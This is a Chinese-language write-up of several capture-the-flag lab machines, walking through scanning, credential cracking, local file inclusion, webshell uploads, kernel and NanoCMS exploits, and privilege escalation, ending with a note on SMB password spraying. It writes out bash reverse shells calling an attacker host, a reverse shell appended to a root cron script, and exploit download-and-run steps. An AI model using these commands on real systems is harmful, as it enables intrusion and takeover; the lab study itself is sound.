先确定目标靶机的ip

2
ip a
sudo nmap -sn 192.168.183.0/24

确定ip是192.168.183.132

扫一下TCP端口就好了吧，其他就不扫了

sudo nmap -sT -p- 192.168.183.132

80、8080比较值得关注

80端口是一个Jenkins CMS

8080端口是登录框，应该那个cms的后台地址

扫一下80端口的目录

扫出来两个/access.html 、/index.html

再扫一下8080端口，没扫出啥有用的信息

GetShell

那就去看一下/access.html页面

eder:9b38e2b1e8b12f426b0d208a7ab6cb98

让我们解密，账号密码吧，密码是md5加密过的

判断一下md5加密类型：

1
hash-identifier "5978a63b4654c73c60fa24f836386d87"

Possible Hashs:
[+] MD5
[+] Domain Cached Credentials - MD4(MD4(($pass)).(strtolower($username)))

Least Possible Hashs:
[+] RAdmin v2.x
[+] NTLM
[+] MD4
[+] MD2
[+] MD5(HMAC)

应该就是md5加密了，找个加密网址cmd5直接解

1

tiago:italia99
trindade:marianna
eder:vipsu

这应该是后台的登录密码吧，拿去试试

账号eder，密码vipsu直接进后台

没接触过这cms，先看看有啥可利用的点

左上角有一个新建任务，可以创建项目

这里有个能执行shell的

试试能不能执行反弹shell

1
bash -i >& /dev/tcp/192.168.183.129/6666 0>&1

kali监听：

1
nc -lvp 6666

点击立即构建，反弹shell成功

感觉权限有点低啊，应该不是交互式shell

看一下权限：

1
whoami
1
2
3
bash-4.2$ whoami
whoami
jenkins

crontab自动任务提权

有意思的是，明明权限比较低，还是能看passwd的

就root、eder用户有交互shell（这里的eder用户该不会可以用刚才得到的密码ssh连接吧），jenkins还是/bin/false，不认识

看一下crontab自动任务

cat /etx/cron.d    //没有
cat /etc/crontab

cat /etc/crontab
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root

# For details see man 4 crontabs

# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name  command to be executed
*/5 * * * * root /etc/script/CleaningScript.sh >/dev/null 2>&1

以root权限运行CleaningScript.sh脚本，每5分钟执行一次，那也就是是如果可以修改CleaningScript.sh脚本的内容，就能执行相应的shell，反弹shell就能拿到root权限

1
2
3
4
cat /etc/script/CleaningScript.sh
#!/bin/bash

rm -rf /var/log/httpd/access_log.txt

原本脚本的内容是删除日志

试试可以写入不

1
echo "/bin/bash -i >& /dev/tcp/192.168.183.129/6669 0>&1" >> /etc/script/CleaningScript.sh

在kali再开一个监听

1
nc -lvp 6667

这个图bin前面少了个/导致命令执行失败

成功写入，接下来就是等时间到执行任务

成功拿到root权限

直接读取flag

1
cat flag.txt

/dev 、/image.php 、/index.php 、/index.php/login/ 、 /wordpress/wp-login.php

/dev这一看就是不是正常目录该有的

说了什么现在是level0，让我们利用工具深度挖掘

wordpress比较值得关注

没找到是哪个版本

现在知道了是5.2.2版本，先去看看有没有漏洞

翻了一下，没找到合适的漏洞

在深度翻一下目录

**/wordpress/wp-includes/**这泄露写目录文件信息

**/wordpress/wp-content/uploads/**也是差不多

wordpress/wp-cron.php

扫了一眼，还是没发现利用点（不排除被我忽略了）

在扫一下吧，这次不扫目录就扫一下有没有文件什么的（sirsearch扫不出东西）

能扫出来/secret.txt，访问看看

怎么给我一种闯关的感觉呢哈哈哈，利用它给的工具fuzz所有的php网页的参数，并尝试查看location.txt

完美的kali果然自带了这个工具，总结一下目前收集到的php路径

根目录中只有/image.php 、/index.php这两个路径，/wordpress/下就有一堆了，先试试根目录下的这俩吧

1
wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt  --hc 404 http://website.com/secret.php?FUZZ=something
1
wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt http://192.168.183.134/index.php?FUZZ=1

过滤掉一些字段数相同的参数

1
wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hw 12 http://192.168.183.134/index.php?FUZZ=1

哇去，一下子就找出对的参数了，试试

再试试刚才提示的location.txt

1
http://192.168.183.134/index.php?file=location.txt

用这个参数secrettier360在其他php网页寻找线索

那很有可能就在另一个网页/image.php上了

果然，但是好像没接下来的线索了

GetShell

试了下，有文件包含

1
/image.php?secrettier360=./image.php

慎用这个测试，一直循环包含，把浏览器卡爆了哇擦，寄！

反正就是文件包含就是了，看一手敏感文件

1
http://192.168.183.134/image.php?secrettier360=../../../../../../../../../../../etc/passwd

还真能看

sshd:x:122:65534::/var/run/sshd:/usr/sbin/nologin

分析一下用户，root、victor应该有交互式shell，但倒数第二行有个比较奇怪

1
saket:x:1001:1001:find password.txt file in my directory:/home/saket:

构造一下看看

1
http://192.168.183.134/image.php?secrettier360=../../../../../../../../../../../home/saket/password.txt

提示：follow_the_ippsec 这到底是啥意思哇，密码吗，还是路径啥的（试了下，应该不是路径）

ssh的密码，试了root、victor，并不是

再去试试wordpress后台登录

通过看首页文章的作者，可以知道用户名应该就是victor，试试密码follow_the_ippsec

还真对啦

接下来初步想法就是 看能不能利用wordpress后台建一个php网页，拿到shell

试了下，未给根目录的wp-content文件夹授予创建文件夹或文件的权限，导致并不能通过上传插件或主题来getshell

但是插件和主题都有一个编辑器，只要找到其中可以编辑的php页面，就可以通过写马来getshell

路径就是

1
http://192.168.183.134/wordpress/wp-content/themes/twentynineteen/secret.php

再通过执行命令来反弹shell

1
a=exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.183.129/6666 0>&1'");

不能成功执行，换个方法

1
nc -lvp 6666

在蚁剑虚拟终端执行

1
/bin/bash -c 'bash -i >& /dev/tcp/192.168.183.129/6666 0>&1'

接下来就是提权了

内核提权

查看一下内核信息

1
uname -a
1
Linux ubuntu 4.10.0-28-generic #32~16.04.2-Ubuntu SMP Thu Jul 20 10:19:48 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux

版本不高，可以试试内核提权，searchsploit查找内核漏洞

1
searchsploit ubuntu 4.10.0-28

有个本地提权漏洞

下载下来脚本

1
searchsploit ubuntu -m 45010.c

蚁剑上传脚本失败，攻击机起web服务

1
sudo php -S 0:80

shell中执行

1
2
cd /tmp
wget http://192.168.183.129/45010.c

直接在原来的路径会错误，所以这里换个路径，无法成功下载该脚本，如图：

再编译c脚本

1
gcc 45010.c -o 45011

如果不能直接在反弹好的shell用gcc编译脚本的话，也可以用kali编译好再传过去

给它可执行权限并执行

1
2
chmod -X 45011
./45011

提权成功，拿下root权限

但可能这个shell不是很完整的交互式shell，因此可以利用已有的python来获取完整的交互式shell

1
python -c "import pty;pty.spawn('/bin/bash')"

完美拿下

直接把MD5解密出来了

可以在/admin直接登录，但是没啥操作空间呀

/mail/src/login.php也能同样登录用第一个账号密码登录

但不知道怎么拿shell

先去试试ssh连接碰碰运气，不行再回来搞定这个后台

1
ssh dstevens@192.168.183.135

能直接ssh登录

sudo提权

看看用户权限

1
sudo -l

直接就是ALL/ALL

直接提权就好了

1
sudo su

直接拿下了，比前面几个还简单

46009端口是登陆框，不知道什么服务

其他一般不能直接访问

扫一下80的目录

挨个看看

GetShell

/events Phake Organization Event Manager

/index.php Phake Organization

/list 注册账号，发现没啥用，没让输密码，也就不能登录后台

/mail/src/login.php SquirrelMail version 1.4.11-1.fc8

/~andy/ NanoCMS可以找找有没有啥利用点

/phpmyadmin/ 数据库管理服务

现在初步思路就是看看登录框能不能CMS有没有漏洞、爆破或弱口令、一下blog页面有没有可能SQL注入、这些都不行就再试试其他方式

不难找到这个CMS有个泄露密码hash的漏洞

版本对上了，还真有

1
a:12:{s:8:"homepage";s:1:"1";s:10:"links_cats";a:4:{s:7:"sidebar";a:2:{i:0;i:1;i:1;i:4;}s:11:"other-pages";a:0:{}s:14:"top-navigation";a:2:{i:0;s:1:"1";i:1;s:1:"4";}s:12:"Footer-Right";a:2:{i:0;s:1:"1";i:1;s:1:"4";}}s:5:"slugs";a:2:{i:1;s:4:"home";i:4;s:7:"contact";}s:6:"titles";a:2:{i:1;s:4:"Home";i:4;s:7:"Contact";}s:10:"slug_count";i:11;s:8:"settings";a:3:{s:19:"index-last-modified";i:1234513760;s:18:"def-template-areas";a:4:{i:0;s:12:"website name";i:2;s:14:"website slogan";i:3;s:16:"below navigation";i:4;s:16:"copyright notice";}s:18:"def-template-links";a:2:{i:0;s:14:"top-navigation";i:1;s:12:"Footer-Right";}}s:13:"active-tweaks";a:2:{i:0;s:7:"deutsch";i:1;s:19:"language-pack-tweak";}s:11:"lang-select";s:7:"english";s:6:"seourl";s:1:"0";s:8:"username";s:5:"admin";s:8:"password";s:32:"9d2f75377ac0ab991d40c91fd27e52fd";s:7:"version";s:4:"v_4f";}

账号是admin，密码是9d2f75377ac0ab991d40c91fd27e52fd（未解密）

拿去cmd5解密一下

拿去登录，admin/shannon

进入后台

下一步就是看看有没有什么地方可以GetShell

没翻到，ssh试试是不是同一个账号密码，不行

searchsploit看看

1
searchsploit nanocms

有一个，但是需要认证，也就是后台验证过后，刚好我们符合条件

把脚本下载下来

1
searchsploit nanocms -m 50997.py

查看用法

1
python 50997.py -h

1
python 50997.py http://192.168.183.136/~andy/ 2.php  -u 'admin' -p 'shannon'

上传我们的木马文件2.php

成功上马，接下来就是反弹shell

kali执行

1
nc -lvp 4444

蚁剑连上，终端执行

1
/bin/bash -c 'bash -i >& /dev/tcp/192.168.183.129/4444 0>&1'

成功拿先shell

敏感文件提权

whoami查看权限，发现是apache

内核信息

1
Linux localhost.localdomain 2.6.23.1-42.fc8 #1 SMP Tue Oct 30 13:55:12 EDT 2007 i686 i686 i386 GNU/Linux

看看有没有内核漏洞

1
2
searchsploit Linux localhost.localdomain 2.6.23.1-42.fc8
searchsploit localhost.localdomain 2.6.23.1-42.fc8

尝试变换搜索目标还是没能找到，看起来应该是没内核漏洞了

看一下计划任务

1
cat /etc/crontab

22 4 * * 0 root run-parts /etc/cron.weekly
42 4 1 * * root run-parts /etc/cron.monthly
1
ls -l /etc/cron.hourly

就试下hourly，等一小时已经很长了。。。

可读可执行，但是不能写，计划任务提权行不通了

看看suid提权

grep -R -i pass /home/* 2>/dev/null

好像是patrick用户用来记root密码的文件

root密码可能是

直接执行好像不行，bash交互式不够完整

利用现有的python对交互性进行一个提升，我们已经是bash了换sh看看

1
python -c "import pty;pty.spawn('/bin/sh')"

成功拿下root

拿到网站后台账号和被md5加密的密码

去解码

brian@localhost.localdomain/my2cents登录后台

能看到已经进后台了，摸索一下有什么可利用的功能

是不是权限太低了，换个账号alice@localhost.localdomain/turtles77一样

拿该账户登录

1
http://192.168.183.139:8080/login.php

原来这个才是后台。。。

再看看有没有什么可利用的

有个文件上传，看看有没有限制

确实能上传成功，路径：

1
http://192.168.183.139/assets/2.php

确实能执行代码

接下来就是反弹shell

kali执行

1
nc -lvp 4444

蚁剑连上，终端执行

1
/bin/bash -c 'bash -i >& /dev/tcp/192.168.183.129/4444 0>&1'

apache用户，估计权限低，且交互性不好

看到一些之前数据库拿到的用户都有着bash指令，试试ssh能不能直接连

1
ssh alice@192.168.183.139

密码turtles77

果然，直接连上，且交互性比刚才那个shell好多了

而且是bash权限

1
sudo su

输入密码turtles77，直接拿下！

就这样结束了，我看得那个教程用了一种麻烦的多的方法，但仍然很值得学习（涉及密码喷洒等手法），后面把另一种做法补上

密码喷洒

内网渗透之横向移动 – 从域外向域内进行密码喷洒攻击-腾讯云开发者社区-腾讯云 (tencent.com)

crack 是⼀款⾮常好⽤的密码喷洒⼯具，并且速度快，⽀持对⼀个 C、 B 段进⾏基于 smb 密码喷洒。命令语法

基于单个⽤户单个密码喷洒
crack.exe -i 10.10.10.10/24 -p 445 -U redteam\saulgoodman -P Saul!@#45 -s smb -t 100
基于⽤户字典密码字典喷洒
crack.exe -i 10.10.10.10/24 -p 445 -U user.txt -P pass.txt -s smb -t100

喷洒成功会在当前路径下⽣成⼀个 result.txt ⽂件，⾥⾯就是喷洒成功的结果
